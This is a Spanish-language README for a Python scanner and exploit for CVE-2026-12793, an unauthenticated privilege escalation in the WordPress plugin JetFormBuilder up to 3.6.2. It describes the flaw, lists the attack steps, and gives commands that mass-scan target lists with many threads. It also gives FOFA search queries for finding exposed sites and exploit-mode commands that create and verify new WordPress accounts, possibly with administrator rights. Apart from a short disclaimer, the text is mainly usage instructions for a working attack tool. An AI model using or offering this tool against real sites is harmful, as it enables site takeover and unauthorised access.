
Escáner PoC en Python y exploit para CVE-2026-12793, una escalada de privilegios no autenticada en JetFormBuilder <=3.6.2 que crea cuentas de administrador de WordPress.
Prueba de concepto, escáner y exploit para CVE-2026-12793 en el plugin de WordPress JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| Plugin | jetformbuilder |
| Afectados | ≤ 3.6.2 |
| Corregido en | 3.6.2.1+ |
| CVSS | 9.8 Crítico |
| Autenticación | No autenticada |
| CWE | CWE-269 — Gestión inadecuada de privilegios |
| Investigador | daroo (Wordfence) |
El plugin no verifica que _jet_engine_booking_form_id haga referencia a un custom post type jet-form-builder publicado antes de cargar el contenido de bloques del post referenciado como esquema de formulario y ejecutar las acciones posteriores al envío.
Un atacante no autenticado puede enviar una petición AJAX manipulada para activar la acción Register User (wp_insert_user) y crear una nueva cuenta de WordPress. Si el formulario objetivo está mal configurado con un rol elevado (por ejemplo, administrator), esto conduce a la toma de control total del sitio.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — solo se acepta el CPT jet-form-builder publicadoForm_Handler::set_form_id() rechaza IDs de formulario no válidoswp_insert_user / wp_update_user bloqueados como callbacks)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
Formatos de entrada: un dominio/URL por línea, CSV de FOFA (host,domain), o candidates.jsonl de una ejecución anterior.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| Archivo | Contenido |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
Los nombres de campo autodetectados son heurísticos. Verifique siempre y sobrescriba con
--fieldsantes del exploit.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
Comprobación de versión:
/wp-content/plugins/jetformbuilder/readme.txt
Busque Stable tag: ≤ 3.6.2.
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el uso indebido.
MIT
| Flag | Descripción |
|---|
-u, --url | URL de objetivo único |
--list | Archivo de lista de objetivos |
--mode | check (por defecto) o exploit |
--form-id | ID de post de formulario JetFormBuilder conocido |
--page-url | Página que incrusta el formulario (referer), p. ej. /register/ |
--fields | Mapa de campos: login=x,email=y,password=z |
--paths | Rutas adicionales para rastrear en busca de formularios |
--username / --email / --password | Credenciales para el exploit (aleatorias si se omiten) |
--verify | Verificar la cuenta mediante wp-login.php tras el envío |
-j, --threads | Hilos de trabajo (por defecto: 20) |
--timeout | Tiempo de espera HTTP en segundos (por defecto: 20) |
--proxy | URL del proxy HTTP(S) |
--output | Registro JSONL completo (por defecto: cve_2026_12793_results.jsonl) |
--vuln-list | Lista de aciertos (por defecto: hits.txt) |
--candidates-list | JSONL de candidatos (por defecto: candidates.jsonl) |
-q, --quiet | Solo salida de progreso |
| URLs de objetivos vulnerables / explotados |
candidates.jsonl | Objetivos con sonda Register User accesible (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | Resultados JSON completos por objetivo |